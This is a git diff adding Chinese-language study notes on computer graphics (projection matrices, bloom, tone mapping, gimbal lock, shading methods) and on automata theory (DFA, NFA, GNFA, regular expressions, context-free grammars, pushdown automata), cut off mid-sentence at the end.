+## 投影变换(projection transformation) + +### 正交投影 + +$$ +M_{ortho} = +\begin{bmatrix} + 1 & 0 & 0 & 0 \\ + 0 & 1 & 0 & 0 \\ + 0 & 0 & 0 & 0 \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +$$ + +$$ +M_{ortho} = +\begin{bmatrix} + \frac{width}{2} & 0 & 0 & \frac{width}{2} \\ + 0 & \frac{height}{2} & 0 & \frac{height}{2} \\ + 0 & 0 & 1 & 0 \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +$$ + +### 透视投影 + +## 视口变换 + +$$ +M_{viewport} = +\begin{bmatrix} + \frac{2}{r-l} & 0 & 0 & 0 \\ + 0 & \frac{2}{t-b} & 0 & 0 \\ + 0 & 0 & \frac{2}{n-f} & 0 \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + 1 & 0 & 0 & -\frac{l+r}{2} \\ + 0 & 1 & 0 & -\frac{t+b}{2} \\ + 0 & 0 & 1 & -\frac{n+f}{2} \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +$$ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\220\216\345\244\204\347\220\206.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\220\216\345\244\204\347\220\206.md" new file mode 100644 index 000000000..6079d7076 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\220\216\345\244\204\347\220\206.md" @@ -0,0 +1,49 @@ +# 后处理 (Post process effects) + +## 泛光 (Bloom) + +不同颜色对亮度的贡献不一样, 通常可以通过以下公式计算亮度: + +```cpp +float luminance = color.r * 0.2126f + color.g * 0.7152f + color.b * 0.0722f; +``` + +通过和设定的阈值进行比较, 提取出高光的区域: + +```cpp +float threshold = 0.7f; +if(luminance > threshold) + frag_color = color; +else + frag_color = vec3(0.0f); +``` + +仅保留高光区域的颜色, 非高光区域为黑色. + +对高光区域进行高斯模糊, 再将结果加上高光区域. + +## 色调映射 (Tone mapping) + +渲染得到的高动态范围 (High Dynamic Range, HDR) 图像无法直接显示在 (Standard Dynamic Range, SDR) 设备上. +因此需要将将其映射到较低的动态范围上, 避免亮部过曝和暗部细节丢失的问题. + +```cpp +vec3 ACES(vec3 color) +{ + const float a = 2.51f; + const float b = 0.03f; + const float c = 2.43f; + const float d = 0.59f; + const float e = 0.14f; + return saturate((color * (a * color + b)) / (color * (c * color + d) + e)); +} +``` + +## 调色 (Color grading) + +调整画面色调. + +## 参见 + +- ["Color Grading and the Filmic Tonemapper", docs.unrealengine.com](https://docs.unrealengine.com/5.2/en-US/color-grading-and-the-filmic-tonemapper-in-unreal-engine/). +- ["Tone Mapping", 64.github.io](https://64.github.io/tonemapping/). diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\346\254\247\346\213\211\350\247\222.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\346\254\247\346\213\211\350\247\222.md" new file mode 100644 index 000000000..bdf5ee0bd --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\346\254\247\346\213\211\350\247\222.md" @@ -0,0 +1,25 @@ +# 欧拉角 + +欧拉角的三次旋转既可以是基于世界坐标系 (不变), 也可以是局部坐标系 (跟着物体的变换改变). 其中只有使用局部坐标系才会产生该现象. + +欧拉角的三个旋转角度不是相对于初始的局部坐标系的, 因为欧拉角分三次旋转, 后两次分别基于可能发生变化的局部坐标系. +第一次旋转是绕 x 轴, 局部坐标系也随之旋转. 第二次旋转是基于第一次旋转后的坐标系. 第三次同理. + +## 万向节死锁(Gimbal Lock) + +**别名**: 环架锁定, 万向锁. + +这个概念容易造成困惑, 原因通常是对欧拉角理解的不完整, 导致你理解中的欧拉角不存在万向节死锁死锁的现象. + +下面描述会发生万向死锁的情况, 假设分别绕 x, y, z 轴旋转且三次旋转角度分别为 0°, 90°, 0°. + +1. 第一次旋转什么都没发生, 这时绕的 x 轴就是**初始局部坐标系的 x 轴**. +2. 第二次选择时局部坐标系发生变化, z 轴会与**初始局部坐标系的 x 轴**重合. +3. 第三次旋转绕 z 轴旋转, 实际上就是绕**初始局部坐标系的 x 轴**旋转. + +导致第一和第三次都是绕同一个轴旋转, 丢失了一个自由度. 也能看出该现象仅在第二次旋转角度为 90° 时才会发生. + +![Gimbals - Lucas Vieira](assets/gimbals.gif){ align=right width=20% } + +万向节(Gimbal)是允许物体绕一个轴旋转的支架. 而由三个万向节组成的平衡环(Gimbals)(还有个现代的叫法, 云台)则是允许物体绕三个轴旋转的支架. 可应用在姿态不断发生变化的船只上, 用于稳定物体. +这种机械结构理论上也存在死锁的现象, 但若将第二个环对应俯仰角, 第三个环对应滚转角, 则意味着俯仰角需要达到 90° 才会导致死锁, 船体很难保持这种姿态同时进行滚转, 因此该现象通常不会发生. diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\346\263\225\345\220\221\351\207\217.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\346\263\225\345\220\221\351\207\217.md" new file mode 100644 index 000000000..79412fa7f --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\346\263\225\345\220\221\351\207\217.md" @@ -0,0 +1,22 @@ +# 法向量 + +![Normals - libigl.github.io](assets/normals.png) + +法向量用于表示面所朝向的方向. 可以用于光照计算, 通常需要通过入射光和面法向量的夹角来计算面所接收到的能量. + +## Per-face + +为每个面指定一个法向量是最简单的方法, 详情请参考 [Flat shading](着色方法.md#flat-shading). + +## Per-vertex + +详情请参考 [Phong shading](着色方法.md#phong-shading). +该方法可以较好的对曲面进行着色, 但也会使锋利的边缘看上去比较圆滑. + +## Per-corner + + + +## 参见 + +- [着色方法](着色方法.md). diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\346\270\262\346\237\223\347\256\241\347\272\277.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\346\270\262\346\237\223\347\256\241\347\272\277.md" new file mode 100644 index 000000000..aa499142a --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\346\270\262\346\237\223\347\256\241\347\272\277.md" @@ -0,0 +1,17 @@ +# 渲染管线(Rendering pipeline) + +## 前向渲染(Forward rendering) + +**游戏**: Just Cause 1(2006), Heavy Rain(2010). + +## 延迟渲染(Deferred rendering) + +## Tile-based rendering + +**游戏**: Battlefield 4(2013), Ryse: Son of Rome(2013). + +## Forward+ rendering + +## Cluster-based rendering + +## Visibility Buffer diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\347\235\200\350\211\262\346\226\271\346\263\225.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\347\235\200\350\211\262\346\226\271\346\263\225.md" new file mode 100644 index 000000000..856914423 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\347\235\200\350\211\262\346\226\271\346\263\225.md" @@ -0,0 +1,38 @@ +# 着色方法 + +![](assets/comparison-flat-gouraud-phong-shading.webp) + +从左到右分别是 flat shading, gouraud shading, phong shading. +从上到下球的面数递增. + +面数越低时, 不同方法之间差异越明显: + +- 光照效果: 照效果主要取决于法向量. 因此从左往右相对于单个像素法向量的准确度递增. +- 效率: 从左往右效率递减. + +## Flat shading + +每个片元计算一次光照. 因为只通过面的法向量进行计算, 所以单个面的颜色完全一致. +由上图可以看出, 该方法对曲面进行着色的时, 面与面之间没有任何过渡, 存在明显的分界. + +在**顶点着色器**上进行光照计算. + +## Gouraud shading + +是 flat shading 的改进版. 通过顶点的法向量计算光照, 然后通过线性插值对片元进行着色. + +在**顶点着色器**上进行光照计算, 在**片段着色器**上对结果进行线性插值. + +## Phong shading + +对法向量进行线性插值, 求得每个像素对应的法向量. 然后每个像素进行一次光照计算. +因为每次计算光照时都能提供准确的法向量, 因此光照效果不受到面数的影响. + +在**片段着色器**上进行光照计算. + +## 参见 + +- [法向量](法向量.md). +- [Flat shading - wikipedia.org](https://en.wikipedia.org/wiki/Shading#Flat_shading). +- [Gouraud shading - wikipedia.org](https://en.wikipedia.org/wiki/Gouraud_shading). +- [Phong shading - wikipedia.org](https://en.wikipedia.org/wiki/Phong_shading). diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/DFA_\350\275\254\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/DFA_\350\275\254\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" new file mode 100644 index 000000000..b0608240c --- /dev/null +++ "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/DFA_\350\275\254\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" @@ -0,0 +1,57 @@ +# DFA 转正则表达式 + +**定理**: 如果 $A$ 是正则语言, 则对于某些正则表达式 $R$ 来说 $A = L(R)$. + +## 广义非确定自动机 (Generalized NFA) + +广义非确定自动机 (以下简称 GNFA), 与 NFA 相似, 且允许正则表达式作为转移标签. + +![GNFA](assets/gnfa.png){ width=60% style="display: block; margin: 0 auto" } + +### 正式定义 + +一个 GNFA $G$ 是一个五元组 $(Q, \Sigma, \delta, s, a)$, 其中: + +- $Q$ 是状态的有限集. +- $\Sigma$ 是由字母表符号组成的有限集. +- $T: (S \setminus \{a\}) \times (S \setminus \{s\}) \rightarrow R$ 是转移函数. +- $s \in S$ 是初始状态. +- $a \in S$ 是接受状态. + +**引理**: 任意 GNFA $G$ 都有对应的正则表达式 $R$. + +### 证明 + +将使用**归纳法**进行证明, 即通过证明基础情况, 来证明所以可以被归纳为基础情况的情况. + +下面使用 $G_k$ 表示有 $k$ 种状态的 GNFA, 需要证明: + +- $G_2$ 有对应的正则表达式. +- 当 $k > 2$ 时, $G_k$ 可以转换为等效的 $G_{k - 1}$. + +这样对于任何 $k > 2$ 的 $G_k$ 来说, 最终能被一个 $G_2$ 所表示. +又因为 $G_2$ 已被证明有对应的正则表达式, 所以任意 GNFA 都有对应的正则表达式. + +![](assets/gnfa_basis.png){ width=30% style="display: block; margin: 0 auto" } + +可以看出, $G_2$ 有对应的正则表达式 $r$. + +$G_k$ 可以转换为等效的 $G_{k - 1}$ 意味着从 $G_k$ 中删除一个状态, 然后再做一些修改, 使其语言不变. 如下图所示: + +![](assets/k_to_k-1_gnfa.png) + +此处删除了一个状态, 并添加了等效的正则表达式. +重复该过程, 就可以将 $G_k$ 转化为 $G_2$, 并最终获取能表达整个 GNFA 的正则表达式. + +## GNFA 转 DFA + +!!! warning + 这里和 MIT18.404J 讲师的说法**存在冲突**. + +**DFA 不是 GNFA**, 因为 DFA 不一定满足 GNFA 的定义. 比如 GNFA 只能有单个结束状态, 而 DFA 可以有多个结束状态. + +![](assets/gnfa-like.png){ width=60% style="display: block; margin: 0 auto" } + +上图所示的自动机有多个结束状态, 因此不是 GNFA. 但为其添加一个新的结束状态 $q_4$, 并允许旧的结束状态 $q_2$, $q_3$ 可以通过 $\varepsilon$ 转移到新的结束状态. + +因为 DFA 可以转换为 GNFA, 且 GNFA 可以转换为正则表达式. 所以 DFA 可以转换为正则表达式. diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/NFA_\350\275\254_DFA.md" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/NFA_\350\275\254_DFA.md" new file mode 100644 index 000000000..b46e70bd2 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/NFA_\350\275\254_DFA.md" @@ -0,0 +1,68 @@ +# NFA 转 DFA + +**定理**: 如果 NFA 能识别 $A$, 则 $A$ 是正则语言. + +## 证明 + +有 NFA $M = (Q, \Sigma, \delta, q_0, F)$ 识别 $A$, 构造 DFA $M' = (Q', \Sigma, \delta', q'_0, F')$ 也识别 $A$. + +由 NFA 的转移函数可以看出, NFA 的当前状态是多个状态的集合. +需要同时跟踪多个状态的转移, 即同时转移当前状态集合中的全部状态, 并得到新的当前状态集合: + +$$ +\delta'(R, a) = \{ q \mid q \in \delta(r, a) \text{ for some } r \in R\} +$$ + +$M'$ 中的状态应该能表示 $M$ 中任何状态所构成的合集, 所以 $M'$ 的状态就是 $M$ 中状态的幂集: + +$$ +Q' = \mathcal{P}(Q) +$$ + +$$ +q'_0 = \{q_0\} +$$ + +$$ +F' = \{ R \in Q' \mid R \text{ intersects } F \} +$$ + +## 闭包属性 + +**定理 1**: 如果 $A_1$, $A_2$ 是正则语言, 则 $A_1 \cup A_2$ 也是正则语言. + +### 证明定理 1 + +若 $M_1$ 识别 $A_1$, $M_2$ 识别 $A_2$, 则有一台 NFA $M_3$ 能识别 $A_1 \cup A_2$. + +现在, 通过 NFA 的 $\varepsilon$-转移特性, 可以分别尝试 $A$ 能否被 $M_1$ 或 $M_2$ 所识别. + +不确定为 NFA 带来了**尝试**或**猜测(gussing)**的能力. 因此现在可以直接尝试 $A$ 能否被 $M_1$ 或 $M_2$ 所识别. + +具体的做法是 $M_3$ 包含 $M_1$ 和 $M_2$, 添加一个初始状态 $q_3$, 然后允许通过 $\varepsilon$ 转移到 $q_1$ 和 $q_2$. + +![](assets/union_closure.png){ width=60% style="display: block; margin: 0 auto" } + +### 证明定理 2 + +若 $M_1$ 识别 $A_1$, $M_2$ 识别 $A_2$, 则有一台 NFA $M_3$ 能识别 $A_1 \circ A_2$. +$M_3$ 接受输入 $w$, 如果 $w = xy$, 其中 $x$ 被 $M_1$ 所识别, $y$ 被 $M_2$ 所识别. + +现在, NFA 可以尝试猜测 $x$ 与 $y$ 在 $w$ 中的分割点, 寻找是否存在满足条件的切割点. + +具体的做法是 $M_3$ 包含 $M_1$ 和 $M_2$, 允许 $F_1$ 通过 $\varepsilon$ 转移到 $q_2$, 且 $F_3 = F_2$. + +![](assets/concatenation_closure.png){ width=90% style="display: block; margin: 0 auto" } + +### 证明定理 3 + +若 $M$ 识别 $A_1$, 则有一台 NFA $M'$ 能识别 $A^*$. +$M'$ 接受输入 $w$, 如果 $w = x_0x_1...x_k$, 其中 $k \ge 0$, 任意 $x$ 被 $M$ 所识别. + +与证明定理 2 类似, 只是现在 $w$ 有多个分割点, 需要猜测多个分割点的位置, 寻找是否存在满足条件的切割点组合. + +具体的做法是 $M'$ 包含 $M$, 允许 $q'_0$ 通过 $\varepsilon$ 转移到 $q_0$, 允许 $F$ 通过 $\varepsilon$ 转移到 $q_0$, 且 $F' = F$. + +![](assets/star_closure.png){ width=70% style="display: block; margin: 0 auto" } + +值得注意的是 $k$ 可以为 0, 所以空字符串应该也要能被识别. diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/README.md" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/README.md" new file mode 100644 index 000000000..953a50380 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/README.md" @@ -0,0 +1,25 @@ +# 计算理论 (Theory of computation) + +!!! warning + 该模块已使用 Typst 进行重写, 此处将不再更新. + +- 代码: MIT18.404J. +- 主页: . + +## ToC + +### 自动机理论 + +| 主题 | +| --------------------------------------- | +| [确定有限自动机](确定有限自动机.md) | +| [正则表达式](正则表达式.md) | +| [非确定有限自动机](非确定有限自动机.md) | +| [NFA 转 DFA](NFA_转_DFA.md) | +| [正则表达式转 NFA](正则表达式转_NFA.md) | +| [DFA 转正则表达式](DFA_转正则表达式.md) | +| [非正则语言](非正则语言.md) | + +### 可计算性理论 + +### 计算复杂性理论 diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/concatenation_closure.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/concatenation_closure.png" new file mode 100644 index 000000000..a78de7f53 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/concatenation_closure.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/dfa.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/dfa.png" new file mode 100644 index 000000000..00d8737b7 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/dfa.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/gnfa-like.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/gnfa-like.png" new file mode 100644 index 000000000..edc9d4e83 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/gnfa-like.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/gnfa.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/gnfa.png" new file mode 100644 index 000000000..629c37e3f Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/gnfa.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/gnfa_basis.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/gnfa_basis.png" new file mode 100644 index 000000000..31d8a9965 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/gnfa_basis.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/grammar.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/grammar.png" new file mode 100644 index 000000000..7890f1fde Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/grammar.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/k_to_k-1_gnfa.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/k_to_k-1_gnfa.png" new file mode 100644 index 000000000..aa902578a Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/k_to_k-1_gnfa.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/nfa.jpg" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/nfa.jpg" new file mode 100644 index 000000000..5e530876e Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/nfa.jpg" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/pumping_lemma.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/pumping_lemma.png" new file mode 100644 index 000000000..975e77f1c Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/pumping_lemma.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/regex_to_nfa.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/regex_to_nfa.png" new file mode 100644 index 000000000..069fd9981 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/regex_to_nfa.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/sigma_nfa.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/sigma_nfa.png" new file mode 100644 index 000000000..def4a33dd Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/sigma_nfa.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/star_closure.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/star_closure.png" new file mode 100644 index 000000000..cc37d9419 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/star_closure.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/union_closure.png" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/union_closure.png" new file mode 100644 index 000000000..c0e7e4700 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/assets/union_closure.png" differ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\344\270\212\344\270\213\346\226\207\346\227\240\345\205\263\350\257\255\346\263\225.md" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\344\270\212\344\270\213\346\226\207\346\227\240\345\205\263\350\257\255\346\263\225.md" new file mode 100644 index 000000000..30c903768 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\344\270\212\344\270\213\346\226\207\346\227\240\345\205\263\350\257\255\346\263\225.md" @@ -0,0 +1,44 @@ +# 上下文无关语法 + +**英文**: Context-free grammars, CFG. + +![](assets/grammar.png){ width=20% style="display: block; margin: 0 auto" } + +替换规则: + +$$ +S \rightarrow 0S1 \\ +S \rightarrow R \\ +R \rightarrow \varepsilon +$$ + +缩写: + +$$ +S \rightarrow 0S1 | R \\ +R \rightarrow \varepsilon +$$ + +$$ +L(G_1) = \{ 0^k1^k \mid k \geq 0 \} +$$ + +## 正式定义 + +上下文无关语法(以下简称 CFG)是一个四元组 $(V, \Sigma, R, S)$, 其中: + +- $V$ 是**变量**的有限集. +- $\Sigma$ 是**终结字符**的有限集. +- $R: V \rightarrow (V \cup \Sigma)^*$ 是**规则**的有限集. +- $S \in Vf $ 是**初始变量**. + +对于 $u, v \in (V \cup \Sigma)^*$: + +- $u \Rightarrow v$: 可以通过一次替换, 从 $u$ 变成 $v$. +- $u \stackrel{*}{\Rightarrow} v$: 可以通过多次替换, 从 $u$ 变成 $v$, 即 $u \Rightarrow u_1 \Rightarrow u_2 \Rightarrow \dots \Rightarrow u_k \Rightarrow v$. + +如果对于某些 CFG $G$ 来说, $A = L(G)$, 则 $A$ 是上下文无关语言 (context-free language, CFL). + +$$ +L(G) = \{ w \mid w \in \Sigma^* \text{ and } S \stackrel{*}{\Rightarrow} w\} +$$ diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\344\270\213\346\216\250\350\207\252\345\212\250\346\234\272.md" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\344\270\213\346\216\250\350\207\252\345\212\250\346\234\272.md" new file mode 100644 index 000000000..775a851ca --- /dev/null +++ "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\344\270\213\346\216\250\350\207\252\345\212\250\346\234\272.md" @@ -0,0 +1,21 @@ +# 下推自动机 + +**英语**: Pushdown automata, PDA. + +下推自动机 (以下简称 PDA) 的工作方式与 NFA 相似, 但支持对栈的压栈(push)和出栈(pop)操作. 栈是 PDA 的内存, 无限大. + +因为仅支持压栈和出栈操作, 读取栈顶部元素就意味着需要移除该元素, 并不存在仅读取栈头部元素的操作. + +## 正式定义 + +一个 PDA 是一个六元组 $(Q, \Sigma, \Gamma, \delta, q_0, F)$, 其中: + +- $Q$ 是状态的有限集. +- $\Sigma$ 是由字母表符号组成的有限集. +- $\delta: Q \times \Sigma_\varepsilon \times \Gamma_\varepsilon \rightarrow \mathcal{P}(Q \times \Gamma_\varepsilon)$ 是转移函数. $\delta(q, a, c) = \{(r_1, d), (r_2, e)\}$ +- $q_0 \in Q$ 是初始状态. +- $F \subseteq Q$ 是接受状态的集合. + +其中 $\Sigma_\varepsilon$ 和 $\Gamma_\varepsilon$ 的脚标 $\varepsilon$ 表示该集合包含空字符串. + +第一个 $\Gamma_\varepsilon$ 表示弹出堆栈顶部的元素, 如果为 $\varepsilon$ 则表示不执行出栈操作. 第二个 $\Gamma_\varepsilon$ 表示要压入堆栈顶部的元素, 如果为 $\varepsilon$ 则表示不执行压栈操作. diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" new file mode 100644 index 000000000..ef6313890 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" @@ -0,0 +1,70 @@ +# 正则表达式 + +**英文**: Regular expressions. + +**正则表达式**由 $\Sigma$ 构成, 并通过正则操作组合得到. + +## 正则语言 (Regular language) + +**正则语言**是可以被有限自动机识别的语言. + +## 正则操作 (Regular operations) + +**正则操作**是针对语言的运算符. + +令 A, B 为语言: + +- **并 (Union)**: $A \cup B$. +- **连接 (Concatenation)**: $A \circ B = \{xy \mid x \in A\ \land y \in B \} = AB$. +- **Kleene 星 (Kleene Star)**: $A^* = \{x_1 ... x_k \mid \text{ each } x_i \in A \text{ for } k \ge 0\}$. + +### 例子 + +令 $A = \{0, 1\}$, $B = \{2, 3\}$: + +- $A \cup B = \{0, 1, 2, 3\}$. +- $A \circ B = \{02, 03, 12, 13\}$ +- $A^* = \{\varepsilon, 0, 1, 01, 10, 11, 00, 001, ...\}$. (除非 $A$ 是空集, 否则结果是无限集) + +## 闭包属性 (Closure properties) + +此处的**闭包**是数学中的术语, 而非计算机科学. + +> 若对某个集合的成员进行一种运算, 生成的仍然是这个集合的成员, 则该集合被称为在这个运算下闭合. - Wikipedia + +比如自然数在加法运算下闭合, 因为两个自然数相加所得到的结果一定是自然数. +但是自然数在减法运算下不闭合, 因为两个自然数相减可能得到非自然数的结果, 如负整数. + +- **定理 1**: 如果 $A_1$, $A_2$ 是正则语言, 则 $A_1 \cup A_2$ 也是正则语言. (即正则语言在联合运算下闭合) +- **定理 2**: 如果 $A_1$, $A_2$ 是正则语言, 则 $A_1 \circ A_2$ 也是正则语言. +- **定理 3**: 如果 $A_1$, $A_2$ 是正则语言, 则 $A^*$ 也是正则语言. + +### 证明定理 1 + +若 $M_1$ 识别 $A_1$, $M_2$ 识别 $A_2$, 则有一台 DFA $M_3$ 能识别 $A_1 \cup A_2$. + +一个简单的思路是将输入分别交给 $M_1$ 和 $M_2$ 识别, 只要有一台自动机接受输入, 则 $M_3$ 也接受. +但确定有限自动机无法直接实现这种操作, 因为确定有限自动机的运行 (即状态的转移) 需要**消耗字符串中的字符**, 因此无法多次**尝试**同一个字符串. + +可行的方法是将两台自动机合并, 使他们并行处理一个字符串. + +这意味着自动机 $M_3$ 能在单个状态里同时表示 $M_1$ 和 $M_2$ 的状态: + +$$ +Q_3 = Q_1 \times Q_2 = \{ (q_1, q_2) \mid q_1 \in Q_1 \land q_2 \in Q_2 \} \\ +q_0 = (q_1, q_2) +$$ + +这里的并行指的是**并行的执行状态的转移**, 而非并行的单独模拟自动机: + +$$ +\delta((q, r), a) = (\delta(q, a), \delta(r, a)) +$$ + +只要 $q \in Q_1$ 或 $r \in Q_2$, 该状态即为 $M_3$ 的接受状态: + +$$ +F_3 = (F_1 \times Q_2) \cup (F_2 \times Q_1) +$$ + +后续将使用非确定有限自动机来简化上述证明, 并证明另外两种正则操作的闭合属性. diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217\350\275\254_NFA.md" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217\350\275\254_NFA.md" new file mode 100644 index 000000000..0ad6755e1 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217\350\275\254_NFA.md" @@ -0,0 +1,23 @@ +# 正则表达式转 NFA + +**定理**: 如果 $R$ 是正则表达式且 $A = L(R)$, 则 $A$ 是正则语言. + +## 证明 + +将 $R$ 转换为等效的 NFA $M$. + +> 正则表达式由 $\Sigma$ 构成, 并通过正则操作组合得到. - [正则表达式](正则表达式.md) + +在[NFA_转_DFA 的闭包属性](NFA_转_DFA.md#闭包属性)部分, 描述了如何通过 NFA 来表示**正则操作**, 即正则操作转换为 NFA 的方式. + +下面是特定语言转换为 NFA 的方式: + +![](assets/sigma_nfa.png){ width=50% style="display: block; margin: 0 auto" } + +结合上述两种方法, 即可将正则表达式转换为 NFA. + +## 例子 + +将 $(a \cup ab)^*$ 转换为等效的 NFA: + +![](assets/regex_to_nfa.png){ width=60% style="display: block; margin: 0 auto" } diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\347\241\256\345\256\232\346\234\211\351\231\220\350\207\252\345\212\250\346\234\272.md" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\347\241\256\345\256\232\346\234\211\351\231\220\350\207\252\345\212\250\346\234\272.md" new file mode 100644 index 000000000..bff0c33f5 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\347\241\256\345\256\232\346\234\211\351\231\220\350\207\252\345\212\250\346\234\272.md" @@ -0,0 +1,144 @@ +# 确定有限自动机 + +**英文**: Deterministic finite automata. + +**关键字**: 确定有限状态自动机 (DFSA), 确定有限状态机 (DFSM). + + +计算机十分复杂, 在对其进行计算相关的研究时会采用一种简化的抽象模型, 即*自动机*. +这种简化是通过剔除计算机中与计算无关的特征来实现的, 最终得到一个用于描述计算机软硬件的计算模型(computational model). + +确定有限自动机 (以下简称 DFA) 是一种自动机. 其中, "确定" 和 "有限" 是对该自动机的限制, 其含义如下: + +- **确定**: "确定" 是相对于**非确定**而言的. 后续将介绍非确定有限自动机, 届时将说明确定和非确定的含义. +- **有限**: DFA 也被称为确定**有限状态**自动机, 顾名思义, 其中的 "有限" 指**状态的数量有限**. + +下面是 DFA $M_1$ 的状态图: + +![DFA](assets/dfa.png){ width=50% style="display: block; margin: 0 auto" } + +- **输入**: **有限**的字符串. +- **输出**: **接受 (Accept)** 或**拒绝 (Reject)**. +- **计算过程**: 从起始状态开始, 读取输入符号, 进行对应的转移 (Transition), 最终处于接受状态则接受, 否则拒绝. (没有对应的转移则直接拒绝) + +以 $M_1$ 为例: + +- "01101": 